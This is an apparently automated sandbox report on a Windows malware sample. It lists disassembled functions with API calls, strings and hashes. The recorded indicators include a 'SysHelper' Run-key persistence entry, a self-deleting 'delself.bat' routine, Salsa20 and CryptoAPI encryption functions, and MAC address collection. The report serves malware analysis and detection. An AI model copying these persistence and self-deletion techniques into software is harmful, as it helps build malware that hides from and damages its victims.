Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A
Address: %s, mac: %s, xrefs: 0040E72D

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: 3662c7b498418dd0805699ed7e156d37d96e3abec8e0c242f5b97c865e313c7a
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266stringCOMMON

Download Yara Rule

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: 8e7fd9746f064940cb66d6ef43538eded20f2cba022702fc4082d6d5591459cc
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Function 00411178 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 00411190
CryptReleaseContext.ADVAPI32(?,00000000), ref: 004111A0

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction ID: be51c898aa0ddf1eb2c7ddf255022cb250d4a78141f94ceb906d675081cd9b05
Opcode Fuzzy Hash: 9f13d3873e772d8ace176f4c7e6ba3f69b1ad179b42c3e02a3fcf93c6db6df11
Instruction Fuzzy Hash: F0E0EC74F40305A7EF50DBB6AC49FABB6A86B08745F444526FB04F3251D62CD841C528

Function 0040EA51 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EA69
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EA79

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction ID: d41dd3a2d1aa4a110fdd7d588524fe859ae41a35967fa473e5fd9fc866ad400b
Opcode Fuzzy Hash: a8a50747f5b84a4213a2f30896a43f764b121f6b091d033cf5eb92e4ffb0f2c5
Instruction Fuzzy Hash: B2E0EC78F002059BDF50DBB79C89F6B72A87B08744B440835F804F3285D63CD9118928

Function 0040EC68 Relevance: 3.0, APIs: 2, Instructions: 19encryptionCOMMON

Download Yara Rule

APIs

CryptDestroyHash.ADVAPI32(?), ref: 0040EC80
CryptReleaseContext.ADVAPI32(?,00000000), ref: 0040EC90

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Function 004278D5 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00423FED,00507990,00000014), ref: 004278D5

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction ID: c175dc67e46cb5b18e7b8d473ad54adbb7c8ff58e9170129aa5670ed77b5f39c
Opcode Fuzzy Hash: 993d631f5fa9c6d26d39642974962185f27c3e068b68c4f08d438ea8c169c0b8
Instruction Fuzzy Hash: 79B012F0705102474B480B387C9804935D47708305300407DF00BC11A0EF70C860BA08

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

"if exist ", xrefs: 00412648
@echo off:trydel ", xrefs: 0041262A
D, xrefs: 00412720
TEMP, xrefs: 004125DF
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
del ", xrefs: 00412674
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
" goto try, xrefs: 00412666
delself.bat, xrefs: 0041261C

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----, xrefs: 004636D4, 00463A21
-----BEGIN , xrefs: 004636A4
, xrefs: 00463A90
-----END , xrefs: 0046382F, 00463940, 004639E4
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Function 004270A5 Relevance: 18.3, APIs: 12, Instructions: 289COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_string.LIBCMT ref: 0042756B
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 559064418-0
Opcode ID: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction ID: 14f77054e820437d32f524f0a61f308f331f5c30c1a6e174fa9440fd564cd740
Opcode Fuzzy Hash: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction Fuzzy Hash: B8B1A171E092399FDF209B54EC88BAAB7B5EF54314F5400DAD908A6251D7389E80CF59

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(008C5338), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

